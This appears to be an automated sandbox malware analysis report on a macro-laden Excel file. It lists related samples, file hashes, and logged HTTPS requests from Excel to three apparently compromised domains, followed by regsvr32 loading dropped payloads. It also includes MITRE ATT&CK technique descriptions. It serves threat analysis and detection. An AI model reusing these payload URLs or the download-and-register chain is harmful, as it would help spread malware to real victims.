	QYUNlRkkn1.exe	Get hash	malicious	Browse	203.16.60.34
	6Y5P9BoimMLclbt.exe	Get hash	malicious	Browse	101.0.117.102
	gunzipped.exe	Get hash	malicious	Browse	101.0.117.102
	SecuriteInfo.com.Variant.Bulz.627351.21436.exe	Get hash	malicious	Browse	101.0.117.102
	ENQUIRY.exe	Get hash	malicious	Browse	101.0.117.102
UNIFIEDLAYER-AS-1US	JNuVQNwKoF	Get hash	malicious	Browse	98.131.204.220
	2u2u8wnrrW.exe	Get hash	malicious	Browse	108.167.135.122
	ClgNlmU3Is.exe	Get hash	malicious	Browse	74.220.199.6
	divpCHa0h7.exe	Get hash	malicious	Browse	108.167.135.122
	Jrsuarez-62643-5799-80-950985.HTM	Get hash	malicious	Browse	69.49.234.122
	Jrsuarez-62643-5799-80-950985.HTM	Get hash	malicious	Browse	69.49.234.122
	Jrsuarez-62643-5799-80-950985.HTM	Get hash	malicious	Browse	69.49.234.122
	SecureMessage.doc	Get hash	malicious	Browse	192.185.37.229
	Jrsuarez-62643-5799-80-950985.HTM	Get hash	malicious	Browse	69.49.234.122
	Farbestfoods.AP Summary.2752.html	Get hash	malicious	Browse	192.185.114.115
	SURRENDED HBL CNSBIF0825FT.exe	Get hash	malicious	Browse	192.254.180.165
	PO#13ORDER PDF.exe	Get hash	malicious	Browse	162.241.244.46
	ORDER.vbs	Get hash	malicious	Browse	192.185.95.74
	art-1881052385.xls	Get hash	malicious	Browse	108.179.232.85
	art-1881052385.xls	Get hash	malicious	Browse	108.179.232.85
	AWB 94000302-2391.exe	Get hash	malicious	Browse	192.185.84.191
	Doc-CS3.exe	Get hash	malicious	Browse	192.185.105.182
	SecuriteInfo.com.Artemis7FC3D3787CC9.2543.exe	Get hash	malicious	Browse	162.214.50.135
	ORD2021100866752371AC.exe	Get hash	malicious	Browse	192.185.48.225
	UaBxIF11A6	Get hash	malicious	Browse	173.254.28.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	Payment_Receipt 7183.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Sales_Receipt 6310.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Purchase_Order 2586.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Purchase_Order 1527.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Import order764536.xlsx	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	art-1881052385.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	JrZcKXgWcl.vbs	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	doc-379851424.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	doc-220808714.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	INV.ppt	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Purchase Order .xlsx	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	MV JOLLY EXPRESS.docx	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	DHL_Delivery_Notification.doc	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	FedEx AWB 884174658339.doc	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	UPDATE INVOICE FM K & S INDUSTRY.docx	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	PO 347391.docx	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	swift.Telex.xls	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Invoice number 1257MAJAKFVII2021 incl. VAT.doc	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	Consignment Notification.doc	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35
	RFQ87976VF.doc	Get hash	malicious	Browse	101.0.119.207 194.233.72.245 216.172.187.35

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Wed Oct 13 09:23:54 2021, Security: 0
Entropy (8bit):	7.344863884969963
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	art-76929842.xls
File size:	251904
MD5:	33bcf716b28185aa2eda847e59ee2ae7
SHA1:	bb2fa1728615f885c215c7e9accfdbcba123fd0d
SHA256:	3dfc7abbc90d50209ca4584cbad952babf00bafc0e37dbbee31b1b184b74f718
SHA512:	340a4c54fd90e31f357d0fdda44c05fc406499f9f6f76734618c8e3c68f910d059d210648a35869431b06eea6f563338b28291598431832bff1a2c306af2af9a
SSDEEP:	6144:nKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgP9jWXcZZRBTq1BOzTwvOsPDslAvS32vI7M:y9jVzTmszTwvTDy33LvfP1OWG
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "art-76929842.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2021-10-13 08:23:54
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.43766981378
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . < . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . S i m b b 1 . . . . . S i m b b 2 . . . . . S i m b b 3 . . . . . G G T . . . . . B r e r 1
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 3c 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 f9 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.27571260507
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 240295

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	240295
Entropy:	7.52839130069
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . . . 4 . < . 8 . = . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 01 10 04 34 04 3c 04 38 04 3d 04 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2021 09:51:28.013366938 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.013417959 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:28.013540030 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.021220922 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.021255016 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:28.333925962 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:28.334263086 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.352838039 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.352904081 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:28.353319883 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:28.353415012 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.575752974 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:28.619132042 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:30.362735987 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:30.362854004 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:30.362960100 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:30.363019943 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:30.365247965 CEST	49165	443	192.168.2.22	216.172.187.35
Oct 14, 2021 09:51:30.365291119 CEST	443	49165	216.172.187.35	192.168.2.22
Oct 14, 2021 09:51:30.743822098 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:30.743901968 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:30.743972063 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:30.745163918 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:30.745186090 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:31.425797939 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:31.425915003 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:31.438122034 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:31.438138008 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:31.438491106 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:31.439146996 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:31.457417965 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:31.499138117 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:34.089972973 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:34.090055943 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:34.090186119 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:34.090334892 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:34.090378046 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:34.090399027 CEST	443	49166	101.0.119.207	192.168.2.22
Oct 14, 2021 09:51:34.090456009 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:34.090471983 CEST	49166	443	192.168.2.22	101.0.119.207
Oct 14, 2021 09:51:34.452547073 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:34.452578068 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:34.452723980 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:34.453340054 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:34.453353882 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:34.993633986 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:34.993880987 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:35.010462999 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:35.010495901 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:35.010850906 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:35.010965109 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:35.014977932 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:35.059135914 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:36.355149984 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:36.355235100 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:36.355443001 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:36.355458021 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:36.355662107 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:36.355684042 CEST	443	49167	194.233.72.245	192.168.2.22
Oct 14, 2021 09:51:36.355694056 CEST	49167	443	192.168.2.22	194.233.72.245
Oct 14, 2021 09:51:36.355756044 CEST	49167	443	192.168.2.22	194.233.72.245

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2021 09:51:27.975033998 CEST	52167	53	192.168.2.22	8.8.8.8
Oct 14, 2021 09:51:27.993766069 CEST	53	52167	8.8.8.8	192.168.2.22
Oct 14, 2021 09:51:30.396545887 CEST	50591	53	192.168.2.22	8.8.8.8
Oct 14, 2021 09:51:30.740104914 CEST	53	50591	8.8.8.8	192.168.2.22
Oct 14, 2021 09:51:34.111712933 CEST	57805	53	192.168.2.22	8.8.8.8
Oct 14, 2021 09:51:34.450437069 CEST	53	57805	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 14, 2021 09:51:27.975033998 CEST	192.168.2.22	8.8.8.8	0x98b3	Standard query (0)	bostonavenue.org	A (IP address)	IN (0x0001)
Oct 14, 2021 09:51:30.396545887 CEST	192.168.2.22	8.8.8.8	0x2410	Standard query (0)	pmqdermatology.com.au	A (IP address)	IN (0x0001)
Oct 14, 2021 09:51:34.111712933 CEST	192.168.2.22	8.8.8.8	0xda70	Standard query (0)	funzy.id	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Oct 14, 2021 09:51:27.993766069 CEST	8.8.8.8	192.168.2.22	0x98b3	No error (0)	bostonavenue.org	216.172.187.35	A (IP address)	IN (0x0001)
Oct 14, 2021 09:51:30.740104914 CEST	8.8.8.8	192.168.2.22	0x2410	No error (0)	pmqdermatology.com.au	101.0.119.207	A (IP address)	IN (0x0001)
Oct 14, 2021 09:51:34.450437069 CEST	8.8.8.8	192.168.2.22	0xda70	No error (0)	funzy.id	194.233.72.245	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

bostonavenue.org

pmqdermatology.com.au

funzy.id

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	216.172.187.35	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2021-10-14 07:51:28 UTC	0	OUT	GET /zunSJE0UYwbJ/sunise.html HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: bostonavenue.org Connection: Keep-Alive
2021-10-14 07:51:30 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 14 Oct 2021 07:51:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	101.0.119.207	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2021-10-14 07:51:31 UTC	0	OUT	GET /0aafNmAW9/suraise.html HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: pmqdermatology.com.au Connection: Keep-Alive
2021-10-14 07:51:34 UTC	0	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/7.2.34 content-type: text/html; charset=UTF-8 content-length: 0 date: Thu, 14 Oct 2021 07:51:33 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	194.233.72.245	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2021-10-14 07:51:35 UTC	1	OUT	GET /0KICC3zxK2nT/sunraie.html HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: funzy.id Connection: Keep-Alive
2021-10-14 07:51:36 UTC	1	IN	HTTP/1.1 200 OK Connection: close X-Powered-By: PHP/7.3.28 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Date: Thu, 14 Oct 2021 07:51:36 GMT Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 264 Parent PID: 596

General

Start time:	09:51:14
Start date:	14/10/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f310000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: regsvr32.exe PID: 1444 Parent PID: 264

General

Start time:	09:51:24
Start date:	14/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test
Imagebase:	0xff880000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2832 Parent PID: 264

General

Start time:	09:51:25
Start date:	14/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test
Imagebase:	0xff880000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2568 Parent PID: 264

General

Start time:	09:51:25
Start date:	14/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test
Imagebase:	0xff880000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report art-76929842.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "art-76929842.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 240295

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics